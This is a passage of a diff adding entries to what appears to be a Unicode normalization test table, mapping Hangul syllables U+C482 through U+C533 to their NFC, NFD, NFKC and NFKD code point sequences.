+{ source: [0xC482], NFC: [0xC482], NFD: [0x110A, 0x116F, 0x11A9], NFKC: [0xC482], NFKD: [0x110A, 0x116F, 0x11A9] },
+{ source: [0xC483], NFC: [0xC483], NFD: [0x110A, 0x116F, 0x11AA], NFKC: [0xC483], NFKD: [0x110A, 0x116F, 0x11AA] },
+{ source: [0xC484], NFC: [0xC484], NFD: [0x110A, 0x116F, 0x11AB], NFKC: [0xC484], NFKD: [0x110A, 0x116F, 0x11AB] },
+{ source: [0xC485], NFC: [0xC485], NFD: [0x110A, 0x116F, 0x11AC], NFKC: [0xC485], NFKD: [0x110A, 0x116F, 0x11AC] },
+{ source: [0xC486], NFC: [0xC486], NFD: [0x110A, 0x116F, 0x11AD], NFKC: [0xC486], NFKD: [0x110A, 0x116F, 0x11AD] },
+{ source: [0xC487], NFC: [0xC487], NFD: [0x110A, 0x116F, 0x11AE], NFKC: [0xC487], NFKD: [0x110A, 0x116F, 0x11AE] },
+{ source: [0xC488], NFC: [0xC488], NFD: [0x110A, 0x116F, 0x11AF], NFKC: [0xC488], NFKD: [0x110A, 0x116F, 0x11AF] },
+{ source: [0xC489], NFC: [0xC489], NFD: [0x110A, 0x116F, 0x11B0], NFKC: [0xC489], NFKD: [0x110A, 0x116F, 0x11B0] },
+{ source: [0xC48A], NFC: [0xC48A], NFD: [0x110A, 0x116F, 0x11B1], NFKC: [0xC48A], NFKD: [0x110A, 0x116F, 0x11B1] },
+{ source: [0xC48B], NFC: [0xC48B], NFD: [0x110A, 0x116F, 0x11B2], NFKC: [0xC48B], NFKD: [0x110A, 0x116F, 0x11B2] },
+{ source: [0xC48C], NFC: [0xC48C], NFD: [0x110A, 0x116F, 0x11B3], NFKC: [0xC48C], NFKD: [0x110A, 0x116F, 0x11B3] },
+{ source: [0xC48D], NFC: [0xC48D], NFD: [0x110A, 0x116F, 0x11B4], NFKC: [0xC48D], NFKD: [0x110A, 0x116F, 0x11B4] },
+{ source: [0xC48E], NFC: [0xC48E], NFD: [0x110A, 0x116F, 0x11B5], NFKC: [0xC48E], NFKD: [0x110A, 0x116F, 0x11B5] },
+{ source: [0xC48F], NFC: [0xC48F], NFD: [0x110A, 0x116F, 0x11B6], NFKC: [0xC48F], NFKD: [0x110A, 0x116F, 0x11B6] },
+{ source: [0xC490], NFC: [0xC490], NFD: [0x110A, 0x116F, 0x11B7], NFKC: [0xC490], NFKD: [0x110A, 0x116F, 0x11B7] },
+{ source: [0xC491], NFC: [0xC491], NFD: [0x110A, 0x116F, 0x11B8], NFKC: [0xC491], NFKD: [0x110A, 0x116F, 0x11B8] },
+{ source: [0xC492], NFC: [0xC492], NFD: [0x110A, 0x116F, 0x11B9], NFKC: [0xC492], NFKD: [0x110A, 0x116F, 0x11B9] },
+{ source: [0xC493], NFC: [0xC493], NFD: [0x110A, 0x116F, 0x11BA], NFKC: [0xC493], NFKD: [0x110A, 0x116F, 0x11BA] },
+{ source: [0xC494], NFC: [0xC494], NFD: [0x110A, 0x116F, 0x11BB], NFKC: [0xC494], NFKD: [0x110A, 0x116F, 0x11BB] },
+{ source: [0xC495], NFC: [0xC495], NFD: [0x110A, 0x116F, 0x11BC], NFKC: [0xC495], NFKD: [0x110A, 0x116F, 0x11BC] },
+{ source: [0xC496], NFC: [0xC496], NFD: [0x110A, 0x116F, 0x11BD], NFKC: [0xC496], NFKD: [0x110A, 0x116F, 0x11BD] },
+{ source: [0xC497], NFC: [0xC497], NFD: [0x110A, 0x116F, 0x11BE], NFKC: [0xC497], NFKD: [0x110A, 0x116F, 0x11BE] },
+{ source: [0xC498], NFC: [0xC498], NFD: [0x110A, 0x116F, 0x11BF], NFKC: [0xC498], NFKD: [0x110A, 0x116F, 0x11BF] },
+{ source: [0xC499], NFC: [0xC499], NFD: [0x110A, 0x116F, 0x11C0], NFKC: [0xC499], NFKD: [0x110A, 0x116F, 0x11C0] },
+{ source: [0xC49A], NFC: [0xC49A], NFD: [0x110A, 0x116F, 0x11C1], NFKC: [0xC49A], NFKD: [0x110A, 0x116F, 0x11C1] },
+{ source: [0xC49B], NFC: [0xC49B], NFD: [0x110A, 0x116F, 0x11C2], NFKC: [0xC49B], NFKD: [0x110A, 0x116F, 0x11C2] },
+{ source: [0xC49C], NFC: [0xC49C], NFD: [0x110A, 0x1170], NFKC: [0xC49C], NFKD: [0x110A, 0x1170] },
+{ source: [0xC49D], NFC: [0xC49D], NFD: [0x110A, 0x1170, 0x11A8], NFKC: [0xC49D], NFKD: [0x110A, 0x1170, 0x11A8] },
+{ source: [0xC49E], NFC: [0xC49E], NFD: [0x110A, 0x1170, 0x11A9], NFKC: [0xC49E], NFKD: [0x110A, 0x1170, 0x11A9] },
+{ source: [0xC49F], NFC: [0xC49F], NFD: [0x110A, 0x1170, 0x11AA], NFKC: [0xC49F], NFKD: [0x110A, 0x1170, 0x11AA] },
+{ source: [0xC4A0], NFC: [0xC4A0], NFD: [0x110A, 0x1170, 0x11AB], NFKC: [0xC4A0], NFKD: [0x110A, 0x1170, 0x11AB] },
+{ source: [0xC4A1], NFC: [0xC4A1], NFD: [0x110A, 0x1170, 0x11AC], NFKC: [0xC4A1], NFKD: [0x110A, 0x1170, 0x11AC] },
+{ source: [0xC4A2], NFC: [0xC4A2], NFD: [0x110A, 0x1170, 0x11AD], NFKC: [0xC4A2], NFKD: [0x110A, 0x1170, 0x11AD] },
+{ source: [0xC4A3], NFC: [0xC4A3], NFD: [0x110A, 0x1170, 0x11AE], NFKC: [0xC4A3], NFKD: [0x110A, 0x1170, 0x11AE] },
+{ source: [0xC4A4], NFC: [0xC4A4], NFD: [0x110A, 0x1170, 0x11AF], NFKC: [0xC4A4], NFKD: [0x110A, 0x1170, 0x11AF] },
+{ source: [0xC4A5], NFC: [0xC4A5], NFD: [0x110A, 0x1170, 0x11B0], NFKC: [0xC4A5], NFKD: [0x110A, 0x1170, 0x11B0] },
+{ source: [0xC4A6], NFC: [0xC4A6], NFD: [0x110A, 0x1170, 0x11B1], NFKC: [0xC4A6], NFKD: [0x110A, 0x1170, 0x11B1] },
+{ source: [0xC4A7], NFC: [0xC4A7], NFD: [0x110A, 0x1170, 0x11B2], NFKC: [0xC4A7], NFKD: [0x110A, 0x1170, 0x11B2] },
+{ source: [0xC4A8], NFC: [0xC4A8], NFD: [0x110A, 0x1170, 0x11B3], NFKC: [0xC4A8], NFKD: [0x110A, 0x1170, 0x11B3] },
+{ source: [0xC4A9], NFC: [0xC4A9], NFD: [0x110A, 0x1170, 0x11B4], NFKC: [0xC4A9], NFKD: [0x110A, 0x1170, 0x11B4] },
+{ source: [0xC4AA], NFC: [0xC4AA], NFD: [0x110A, 0x1170, 0x11B5], NFKC: [0xC4AA], NFKD: [0x110A, 0x1170, 0x11B5] },
+{ source: [0xC4AB], NFC: [0xC4AB], NFD: [0x110A, 0x1170, 0x11B6], NFKC: [0xC4AB], NFKD: [0x110A, 0x1170, 0x11B6] },
+{ source: [0xC4AC], NFC: [0xC4AC], NFD: [0x110A, 0x1170, 0x11B7], NFKC: [0xC4AC], NFKD: [0x110A, 0x1170, 0x11B7] },
+{ source: [0xC4AD], NFC: [0xC4AD], NFD: [0x110A, 0x1170, 0x11B8], NFKC: [0xC4AD], NFKD: [0x110A, 0x1170, 0x11B8] },
+{ source: [0xC4AE], NFC: [0xC4AE], NFD: [0x110A, 0x1170, 0x11B9], NFKC: [0xC4AE], NFKD: [0x110A, 0x1170, 0x11B9] },
+{ source: [0xC4AF], NFC: [0xC4AF], NFD: [0x110A, 0x1170, 0x11BA], NFKC: [0xC4AF], NFKD: [0x110A, 0x1170, 0x11BA] },
+{ source: [0xC4B0], NFC: [0xC4B0], NFD: [0x110A, 0x1170, 0x11BB], NFKC: [0xC4B0], NFKD: [0x110A, 0x1170, 0x11BB] },
+{ source: [0xC4B1], NFC: [0xC4B1], NFD: [0x110A, 0x1170, 0x11BC], NFKC: [0xC4B1], NFKD: [0x110A, 0x1170, 0x11BC] },
+{ source: [0xC4B2], NFC: [0xC4B2], NFD: [0x110A, 0x1170, 0x11BD], NFKC: [0xC4B2], NFKD: [0x110A, 0x1170, 0x11BD] },
+{ source: [0xC4B3], NFC: [0xC4B3], NFD: [0x110A, 0x1170, 0x11BE], NFKC: [0xC4B3], NFKD: [0x110A, 0x1170, 0x11BE] },
+{ source: [0xC4B4], NFC: [0xC4B4], NFD: [0x110A, 0x1170, 0x11BF], NFKC: [0xC4B4], NFKD: [0x110A, 0x1170, 0x11BF] },
+{ source: [0xC4B5], NFC: [0xC4B5], NFD: [0x110A, 0x1170, 0x11C0], NFKC: [0xC4B5], NFKD: [0x110A, 0x1170, 0x11C0] },
+{ source: [0xC4B6], NFC: [0xC4B6], NFD: [0x110A, 0x1170, 0x11C1], NFKC: [0xC4B6], NFKD: [0x110A, 0x1170, 0x11C1] },
+{ source: [0xC4B7], NFC: [0xC4B7], NFD: [0x110A, 0x1170, 0x11C2], NFKC: [0xC4B7], NFKD: [0x110A, 0x1170, 0x11C2] },
+{ source: [0xC4B8], NFC: [0xC4B8], NFD: [0x110A, 0x1171], NFKC: [0xC4B8], NFKD: [0x110A, 0x1171] },
+{ source: [0xC4B9], NFC: [0xC4B9], NFD: [0x110A, 0x1171, 0x11A8], NFKC: [0xC4B9], NFKD: [0x110A, 0x1171, 0x11A8] },
+{ source: [0xC4BA], NFC: [0xC4BA], NFD: [0x110A, 0x1171, 0x11A9], NFKC: [0xC4BA], NFKD: [0x110A, 0x1171, 0x11A9] },
+{ source: [0xC4BB], NFC: [0xC4BB], NFD: [0x110A, 0x1171, 0x11AA], NFKC: [0xC4BB], NFKD: [0x110A, 0x1171, 0x11AA] },
+{ source: [0xC4BC], NFC: [0xC4BC], NFD: [0x110A, 0x1171, 0x11AB], NFKC: [0xC4BC], NFKD: [0x110A, 0x1171, 0x11AB] },
+{ source: [0xC4BD], NFC: [0xC4BD], NFD: [0x110A, 0x1171, 0x11AC], NFKC: [0xC4BD], NFKD: [0x110A, 0x1171, 0x11AC] },
+{ source: [0xC4BE], NFC: [0xC4BE], NFD: [0x110A, 0x1171, 0x11AD], NFKC: [0xC4BE], NFKD: [0x110A, 0x1171, 0x11AD] },
+{ source: [0xC4BF], NFC: [0xC4BF], NFD: [0x110A, 0x1171, 0x11AE], NFKC: [0xC4BF], NFKD: [0x110A, 0x1171, 0x11AE] },
+{ source: [0xC4C0], NFC: [0xC4C0], NFD: [0x110A, 0x1171, 0x11AF], NFKC: [0xC4C0], NFKD: [0x110A, 0x1171, 0x11AF] },
+{ source: [0xC4C1], NFC: [0xC4C1], NFD: [0x110A, 0x1171, 0x11B0], NFKC: [0xC4C1], NFKD: [0x110A, 0x1171, 0x11B0] },
+{ source: [0xC4C2], NFC: [0xC4C2], NFD: [0x110A, 0x1171, 0x11B1], NFKC: [0xC4C2], NFKD: [0x110A, 0x1171, 0x11B1] },
+{ source: [0xC4C3], NFC: [0xC4C3], NFD: [0x110A, 0x1171, 0x11B2], NFKC: [0xC4C3], NFKD: [0x110A, 0x1171, 0x11B2] },
+{ source: [0xC4C4], NFC: [0xC4C4], NFD: [0x110A, 0x1171, 0x11B3], NFKC: [0xC4C4], NFKD: [0x110A, 0x1171, 0x11B3] },
+{ source: [0xC4C5], NFC: [0xC4C5], NFD: [0x110A, 0x1171, 0x11B4], NFKC: [0xC4C5], NFKD: [0x110A, 0x1171, 0x11B4] },
+{ source: [0xC4C6], NFC: [0xC4C6], NFD: [0x110A, 0x1171, 0x11B5], NFKC: [0xC4C6], NFKD: [0x110A, 0x1171, 0x11B5] },
+{ source: [0xC4C7], NFC: [0xC4C7], NFD: [0x110A, 0x1171, 0x11B6], NFKC: [0xC4C7], NFKD: [0x110A, 0x1171, 0x11B6] },
+{ source: [0xC4C8], NFC: [0xC4C8], NFD: [0x110A, 0x1171, 0x11B7], NFKC: [0xC4C8], NFKD: [0x110A, 0x1171, 0x11B7] },
+{ source: [0xC4C9], NFC: [0xC4C9], NFD: [0x110A, 0x1171, 0x11B8], NFKC: [0xC4C9], NFKD: [0x110A, 0x1171, 0x11B8] },
+{ source: [0xC4CA], NFC: [0xC4CA], NFD: [0x110A, 0x1171, 0x11B9], NFKC: [0xC4CA], NFKD: [0x110A, 0x1171, 0x11B9] },
+{ source: [0xC4CB], NFC: [0xC4CB], NFD: [0x110A, 0x1171, 0x11BA], NFKC: [0xC4CB], NFKD: [0x110A, 0x1171, 0x11BA] },
+{ source: [0xC4CC], NFC: [0xC4CC], NFD: [0x110A, 0x1171, 0x11BB], NFKC: [0xC4CC], NFKD: [0x110A, 0x1171, 0x11BB] },
+{ source: [0xC4CD], NFC: [0xC4CD], NFD: [0x110A, 0x1171, 0x11BC], NFKC: [0xC4CD], NFKD: [0x110A, 0x1171, 0x11BC] },
+{ source: [0xC4CE], NFC: [0xC4CE], NFD: [0x110A, 0x1171, 0x11BD], NFKC: [0xC4CE], NFKD: [0x110A, 0x1171, 0x11BD] },
+{ source: [0xC4CF], NFC: [0xC4CF], NFD: [0x110A, 0x1171, 0x11BE], NFKC: [0xC4CF], NFKD: [0x110A, 0x1171, 0x11BE] },
+{ source: [0xC4D0], NFC: [0xC4D0], NFD: [0x110A, 0x1171, 0x11BF], NFKC: [0xC4D0], NFKD: [0x110A, 0x1171, 0x11BF] },
+{ source: [0xC4D1], NFC: [0xC4D1], NFD: [0x110A, 0x1171, 0x11C0], NFKC: [0xC4D1], NFKD: [0x110A, 0x1171, 0x11C0] },
+{ source: [0xC4D2], NFC: [0xC4D2], NFD: [0x110A, 0x1171, 0x11C1], NFKC: [0xC4D2], NFKD: [0x110A, 0x1171, 0x11C1] },
+{ source: [0xC4D3], NFC: [0xC4D3], NFD: [0x110A, 0x1171, 0x11C2], NFKC: [0xC4D3], NFKD: [0x110A, 0x1171, 0x11C2] },
+{ source: [0xC4D4], NFC: [0xC4D4], NFD: [0x110A, 0x1172], NFKC: [0xC4D4], NFKD: [0x110A, 0x1172] },
+{ source: [0xC4D5], NFC: [0xC4D5], NFD: [0x110A, 0x1172, 0x11A8], NFKC: [0xC4D5], NFKD: [0x110A, 0x1172, 0x11A8] },
+{ source: [0xC4D6], NFC: [0xC4D6], NFD: [0x110A, 0x1172, 0x11A9], NFKC: [0xC4D6], NFKD: [0x110A, 0x1172, 0x11A9] },
+{ source: [0xC4D7], NFC: [0xC4D7], NFD: [0x110A, 0x1172, 0x11AA], NFKC: [0xC4D7], NFKD: [0x110A, 0x1172, 0x11AA] },
+{ source: [0xC4D8], NFC: [0xC4D8], NFD: [0x110A, 0x1172, 0x11AB], NFKC: [0xC4D8], NFKD: [0x110A, 0x1172, 0x11AB] },
+{ source: [0xC4D9], NFC: [0xC4D9], NFD: [0x110A, 0x1172, 0x11AC], NFKC: [0xC4D9], NFKD: [0x110A, 0x1172, 0x11AC] },
+{ source: [0xC4DA], NFC: [0xC4DA], NFD: [0x110A, 0x1172, 0x11AD], NFKC: [0xC4DA], NFKD: [0x110A, 0x1172, 0x11AD] },
+{ source: [0xC4DB], NFC: [0xC4DB], NFD: [0x110A, 0x1172, 0x11AE], NFKC: [0xC4DB], NFKD: [0x110A, 0x1172, 0x11AE] },
+{ source: [0xC4DC], NFC: [0xC4DC], NFD: [0x110A, 0x1172, 0x11AF], NFKC: [0xC4DC], NFKD: [0x110A, 0x1172, 0x11AF] },
+{ source: [0xC4DD], NFC: [0xC4DD], NFD: [0x110A, 0x1172, 0x11B0], NFKC: [0xC4DD], NFKD: [0x110A, 0x1172, 0x11B0] },
+{ source: [0xC4DE], NFC: [0xC4DE], NFD: [0x110A, 0x1172, 0x11B1], NFKC: [0xC4DE], NFKD: [0x110A, 0x1172, 0x11B1] },
+{ source: [0xC4DF], NFC: [0xC4DF], NFD: [0x110A, 0x1172, 0x11B2], NFKC: [0xC4DF], NFKD: [0x110A, 0x1172, 0x11B2] },
+{ source: [0xC4E0], NFC: [0xC4E0], NFD: [0x110A, 0x1172, 0x11B3], NFKC: [0xC4E0], NFKD: [0x110A, 0x1172, 0x11B3] },
+{ source: [0xC4E1], NFC: [0xC4E1], NFD: [0x110A, 0x1172, 0x11B4], NFKC: [0xC4E1], NFKD: [0x110A, 0x1172, 0x11B4] },
+{ source: [0xC4E2], NFC: [0xC4E2], NFD: [0x110A, 0x1172, 0x11B5], NFKC: [0xC4E2], NFKD: [0x110A, 0x1172, 0x11B5] },
+{ source: [0xC4E3], NFC: [0xC4E3], NFD: [0x110A, 0x1172, 0x11B6], NFKC: [0xC4E3], NFKD: [0x110A, 0x1172, 0x11B6] },
+{ source: [0xC4E4], NFC: [0xC4E4], NFD: [0x110A, 0x1172, 0x11B7], NFKC: [0xC4E4], NFKD: [0x110A, 0x1172, 0x11B7] },
+{ source: [0xC4E5], NFC: [0xC4E5], NFD: [0x110A, 0x1172, 0x11B8], NFKC: [0xC4E5], NFKD: [0x110A, 0x1172, 0x11B8] },
+{ source: [0xC4E6], NFC: [0xC4E6], NFD: [0x110A, 0x1172, 0x11B9], NFKC: [0xC4E6], NFKD: [0x110A, 0x1172, 0x11B9] },
+{ source: [0xC4E7], NFC: [0xC4E7], NFD: [0x110A, 0x1172, 0x11BA], NFKC: [0xC4E7], NFKD: [0x110A, 0x1172, 0x11BA] },
+{ source: [0xC4E8], NFC: [0xC4E8], NFD: [0x110A, 0x1172, 0x11BB], NFKC: [0xC4E8], NFKD: [0x110A, 0x1172, 0x11BB] },
+{ source: [0xC4E9], NFC: [0xC4E9], NFD: [0x110A, 0x1172, 0x11BC], NFKC: [0xC4E9], NFKD: [0x110A, 0x1172, 0x11BC] },
+{ source: [0xC4EA], NFC: [0xC4EA], NFD: [0x110A, 0x1172, 0x11BD], NFKC: [0xC4EA], NFKD: [0x110A, 0x1172, 0x11BD] },
+{ source: [0xC4EB], NFC: [0xC4EB], NFD: [0x110A, 0x1172, 0x11BE], NFKC: [0xC4EB], NFKD: [0x110A, 0x1172, 0x11BE] },
+{ source: [0xC4EC], NFC: [0xC4EC], NFD: [0x110A, 0x1172, 0x11BF], NFKC: [0xC4EC], NFKD: [0x110A, 0x1172, 0x11BF] },
+{ source: [0xC4ED], NFC: [0xC4ED], NFD: [0x110A, 0x1172, 0x11C0], NFKC: [0xC4ED], NFKD: [0x110A, 0x1172, 0x11C0] },
+{ source: [0xC4EE], NFC: [0xC4EE], NFD: [0x110A, 0x1172, 0x11C1], NFKC: [0xC4EE], NFKD: [0x110A, 0x1172, 0x11C1] },
+{ source: [0xC4EF], NFC: [0xC4EF], NFD: [0x110A, 0x1172, 0x11C2], NFKC: [0xC4EF], NFKD: [0x110A, 0x1172, 0x11C2] },
+{ source: [0xC4F0], NFC: [0xC4F0], NFD: [0x110A, 0x1173], NFKC: [0xC4F0], NFKD: [0x110A, 0x1173] },
+{ source: [0xC4F1], NFC: [0xC4F1], NFD: [0x110A, 0x1173, 0x11A8], NFKC: [0xC4F1], NFKD: [0x110A, 0x1173, 0x11A8] },
+{ source: [0xC4F2], NFC: [0xC4F2], NFD: [0x110A, 0x1173, 0x11A9], NFKC: [0xC4F2], NFKD: [0x110A, 0x1173, 0x11A9] },
+{ source: [0xC4F3], NFC: [0xC4F3], NFD: [0x110A, 0x1173, 0x11AA], NFKC: [0xC4F3], NFKD: [0x110A, 0x1173, 0x11AA] },
+{ source: [0xC4F4], NFC: [0xC4F4], NFD: [0x110A, 0x1173, 0x11AB], NFKC: [0xC4F4], NFKD: [0x110A, 0x1173, 0x11AB] },
+{ source: [0xC4F5], NFC: [0xC4F5], NFD: [0x110A, 0x1173, 0x11AC], NFKC: [0xC4F5], NFKD: [0x110A, 0x1173, 0x11AC] },
+{ source: [0xC4F6], NFC: [0xC4F6], NFD: [0x110A, 0x1173, 0x11AD], NFKC: [0xC4F6], NFKD: [0x110A, 0x1173, 0x11AD] },
+{ source: [0xC4F7], NFC: [0xC4F7], NFD: [0x110A, 0x1173, 0x11AE], NFKC: [0xC4F7], NFKD: [0x110A, 0x1173, 0x11AE] },
+{ source: [0xC4F8], NFC: [0xC4F8], NFD: [0x110A, 0x1173, 0x11AF], NFKC: [0xC4F8], NFKD: [0x110A, 0x1173, 0x11AF] },
+{ source: [0xC4F9], NFC: [0xC4F9], NFD: [0x110A, 0x1173, 0x11B0], NFKC: [0xC4F9], NFKD: [0x110A, 0x1173, 0x11B0] },
+{ source: [0xC4FA], NFC: [0xC4FA], NFD: [0x110A, 0x1173, 0x11B1], NFKC: [0xC4FA], NFKD: [0x110A, 0x1173, 0x11B1] },
+{ source: [0xC4FB], NFC: [0xC4FB], NFD: [0x110A, 0x1173, 0x11B2], NFKC: [0xC4FB], NFKD: [0x110A, 0x1173, 0x11B2] },
+{ source: [0xC4FC], NFC: [0xC4FC], NFD: [0x110A, 0x1173, 0x11B3], NFKC: [0xC4FC], NFKD: [0x110A, 0x1173, 0x11B3] },
+{ source: [0xC4FD], NFC: [0xC4FD], NFD: [0x110A, 0x1173, 0x11B4], NFKC: [0xC4FD], NFKD: [0x110A, 0x1173, 0x11B4] },
+{ source: [0xC4FE], NFC: [0xC4FE], NFD: [0x110A, 0x1173, 0x11B5], NFKC: [0xC4FE], NFKD: [0x110A, 0x1173, 0x11B5] },
+{ source: [0xC4FF], NFC: [0xC4FF], NFD: [0x110A, 0x1173, 0x11B6], NFKC: [0xC4FF], NFKD: [0x110A, 0x1173, 0x11B6] },
+{ source: [0xC500], NFC: [0xC500], NFD: [0x110A, 0x1173, 0x11B7], NFKC: [0xC500], NFKD: [0x110A, 0x1173, 0x11B7] },
+{ source: [0xC501], NFC: [0xC501], NFD: [0x110A, 0x1173, 0x11B8], NFKC: [0xC501], NFKD: [0x110A, 0x1173, 0x11B8] },
+{ source: [0xC502], NFC: [0xC502], NFD: [0x110A, 0x1173, 0x11B9], NFKC: [0xC502], NFKD: [0x110A, 0x1173, 0x11B9] },
+{ source: [0xC503], NFC: [0xC503], NFD: [0x110A, 0x1173, 0x11BA], NFKC: [0xC503], NFKD: [0x110A, 0x1173, 0x11BA] },
+{ source: [0xC504], NFC: [0xC504], NFD: [0x110A, 0x1173, 0x11BB], NFKC: [0xC504], NFKD: [0x110A, 0x1173, 0x11BB] },
+{ source: [0xC505], NFC: [0xC505], NFD: [0x110A, 0x1173, 0x11BC], NFKC: [0xC505], NFKD: [0x110A, 0x1173, 0x11BC] },
+{ source: [0xC506], NFC: [0xC506], NFD: [0x110A, 0x1173, 0x11BD], NFKC: [0xC506], NFKD: [0x110A, 0x1173, 0x11BD] },
+{ source: [0xC507], NFC: [0xC507], NFD: [0x110A, 0x1173, 0x11BE], NFKC: [0xC507], NFKD: [0x110A, 0x1173, 0x11BE] },
+{ source: [0xC508], NFC: [0xC508], NFD: [0x110A, 0x1173, 0x11BF], NFKC: [0xC508], NFKD: [0x110A, 0x1173, 0x11BF] },
+{ source: [0xC509], NFC: [0xC509], NFD: [0x110A, 0x1173, 0x11C0], NFKC: [0xC509], NFKD: [0x110A, 0x1173, 0x11C0] },
+{ source: [0xC50A], NFC: [0xC50A], NFD: [0x110A, 0x1173, 0x11C1], NFKC: [0xC50A], NFKD: [0x110A, 0x1173, 0x11C1] },
+{ source: [0xC50B], NFC: [0xC50B], NFD: [0x110A, 0x1173, 0x11C2], NFKC: [0xC50B], NFKD: [0x110A, 0x1173, 0x11C2] },
+{ source: [0xC50C], NFC: [0xC50C], NFD: [0x110A, 0x1174], NFKC: [0xC50C], NFKD: [0x110A, 0x1174] },
+{ source: [0xC50D], NFC: [0xC50D], NFD: [0x110A, 0x1174, 0x11A8], NFKC: [0xC50D], NFKD: [0x110A, 0x1174, 0x11A8] },
+{ source: [0xC50E], NFC: [0xC50E], NFD: [0x110A, 0x1174, 0x11A9], NFKC: [0xC50E], NFKD: [0x110A, 0x1174, 0x11A9] },
+{ source: [0xC50F], NFC: [0xC50F], NFD: [0x110A, 0x1174, 0x11AA], NFKC: [0xC50F], NFKD: [0x110A, 0x1174, 0x11AA] },
+{ source: [0xC510], NFC: [0xC510], NFD: [0x110A, 0x1174, 0x11AB], NFKC: [0xC510], NFKD: [0x110A, 0x1174, 0x11AB] },
+{ source: [0xC511], NFC: [0xC511], NFD: [0x110A, 0x1174, 0x11AC], NFKC: [0xC511], NFKD: [0x110A, 0x1174, 0x11AC] },
+{ source: [0xC512], NFC: [0xC512], NFD: [0x110A, 0x1174, 0x11AD], NFKC: [0xC512], NFKD: [0x110A, 0x1174, 0x11AD] },
+{ source: [0xC513], NFC: [0xC513], NFD: [0x110A, 0x1174, 0x11AE], NFKC: [0xC513], NFKD: [0x110A, 0x1174, 0x11AE] },
+{ source: [0xC514], NFC: [0xC514], NFD: [0x110A, 0x1174, 0x11AF], NFKC: [0xC514], NFKD: [0x110A, 0x1174, 0x11AF] },
+{ source: [0xC515], NFC: [0xC515], NFD: [0x110A, 0x1174, 0x11B0], NFKC: [0xC515], NFKD: [0x110A, 0x1174, 0x11B0] },
+{ source: [0xC516], NFC: [0xC516], NFD: [0x110A, 0x1174, 0x11B1], NFKC: [0xC516], NFKD: [0x110A, 0x1174, 0x11B1] },
+{ source: [0xC517], NFC: [0xC517], NFD: [0x110A, 0x1174, 0x11B2], NFKC: [0xC517], NFKD: [0x110A, 0x1174, 0x11B2] },
+{ source: [0xC518], NFC: [0xC518], NFD: [0x110A, 0x1174, 0x11B3], NFKC: [0xC518], NFKD: [0x110A, 0x1174, 0x11B3] },
+{ source: [0xC519], NFC: [0xC519], NFD: [0x110A, 0x1174, 0x11B4], NFKC: [0xC519], NFKD: [0x110A, 0x1174, 0x11B4] },
+{ source: [0xC51A], NFC: [0xC51A], NFD: [0x110A, 0x1174, 0x11B5], NFKC: [0xC51A], NFKD: [0x110A, 0x1174, 0x11B5] },
+{ source: [0xC51B], NFC: [0xC51B], NFD: [0x110A, 0x1174, 0x11B6], NFKC: [0xC51B], NFKD: [0x110A, 0x1174, 0x11B6] },
+{ source: [0xC51C], NFC: [0xC51C], NFD: [0x110A, 0x1174, 0x11B7], NFKC: [0xC51C], NFKD: [0x110A, 0x1174, 0x11B7] },
+{ source: [0xC51D], NFC: [0xC51D], NFD: [0x110A, 0x1174, 0x11B8], NFKC: [0xC51D], NFKD: [0x110A, 0x1174, 0x11B8] },
+{ source: [0xC51E], NFC: [0xC51E], NFD: [0x110A, 0x1174, 0x11B9], NFKC: [0xC51E], NFKD: [0x110A, 0x1174, 0x11B9] },
+{ source: [0xC51F], NFC: [0xC51F], NFD: [0x110A, 0x1174, 0x11BA], NFKC: [0xC51F], NFKD: [0x110A, 0x1174, 0x11BA] },
+{ source: [0xC520], NFC: [0xC520], NFD: [0x110A, 0x1174, 0x11BB], NFKC: [0xC520], NFKD: [0x110A, 0x1174, 0x11BB] },
+{ source: [0xC521], NFC: [0xC521], NFD: [0x110A, 0x1174, 0x11BC], NFKC: [0xC521], NFKD: [0x110A, 0x1174, 0x11BC] },
+{ source: [0xC522], NFC: [0xC522], NFD: [0x110A, 0x1174, 0x11BD], NFKC: [0xC522], NFKD: [0x110A, 0x1174, 0x11BD] },
+{ source: [0xC523], NFC: [0xC523], NFD: [0x110A, 0x1174, 0x11BE], NFKC: [0xC523], NFKD: [0x110A, 0x1174, 0x11BE] },
+{ source: [0xC524], NFC: [0xC524], NFD: [0x110A, 0x1174, 0x11BF], NFKC: [0xC524], NFKD: [0x110A, 0x1174, 0x11BF] },
+{ source: [0xC525], NFC: [0xC525], NFD: [0x110A, 0x1174, 0x11C0], NFKC: [0xC525], NFKD: [0x110A, 0x1174, 0x11C0] },
+{ source: [0xC526], NFC: [0xC526], NFD: [0x110A, 0x1174, 0x11C1], NFKC: [0xC526], NFKD: [0x110A, 0x1174, 0x11C1] },
+{ source: [0xC527], NFC: [0xC527], NFD: [0x110A, 0x1174, 0x11C2], NFKC: [0xC527], NFKD: [0x110A, 0x1174, 0x11C2] },
+{ source: [0xC528], NFC: [0xC528], NFD: [0x110A, 0x1175], NFKC: [0xC528], NFKD: [0x110A, 0x1175] },
+{ source: [0xC529], NFC: [0xC529], NFD: [0x110A, 0x1175, 0x11A8], NFKC: [0xC529], NFKD: [0x110A, 0x1175, 0x11A8] },
+{ source: [0xC52A], NFC: [0xC52A], NFD: [0x110A, 0x1175, 0x11A9], NFKC: [0xC52A], NFKD: [0x110A, 0x1175, 0x11A9] },
+{ source: [0xC52B], NFC: [0xC52B], NFD: [0x110A, 0x1175, 0x11AA], NFKC: [0xC52B], NFKD: [0x110A, 0x1175, 0x11AA] },
+{ source: [0xC52C], NFC: [0xC52C], NFD: [0x110A, 0x1175, 0x11AB], NFKC: [0xC52C], NFKD: [0x110A, 0x1175, 0x11AB] },
+{ source: [0xC52D], NFC: [0xC52D], NFD: [0x110A, 0x1175, 0x11AC], NFKC: [0xC52D], NFKD: [0x110A, 0x1175, 0x11AC] },
+{ source: [0xC52E], NFC: [0xC52E], NFD: [0x110A, 0x1175, 0x11AD], NFKC: [0xC52E], NFKD: [0x110A, 0x1175, 0x11AD] },
+{ source: [0xC52F], NFC: [0xC52F], NFD: [0x110A, 0x1175, 0x11AE], NFKC: [0xC52F], NFKD: [0x110A, 0x1175, 0x11AE] },
+{ source: [0xC530], NFC: [0xC530], NFD: [0x110A, 0x1175, 0x11AF], NFKC: [0xC530], NFKD: [0x110A, 0x1175, 0x11AF] },
+{ source: [0xC531], NFC: [0xC531], NFD: [0x110A, 0x1175, 0x11B0], NFKC: [0xC531], NFKD: [0x110A, 0x1175, 0x11B0] },
+{ source: [0xC532], NFC: [0xC532], NFD: [0x110A, 0x1175, 0x11B1], NFKC: [0xC532], NFKD: [0x110A, 0x1175, 0x11B1] },
+{ source: [0xC533], NFC: [0xC533], NFD: [0x110A, 0x1175, 0x11B2], NFKC: [0xC533], NFKD: [0x110A, 0x1175, 0x11B2] },
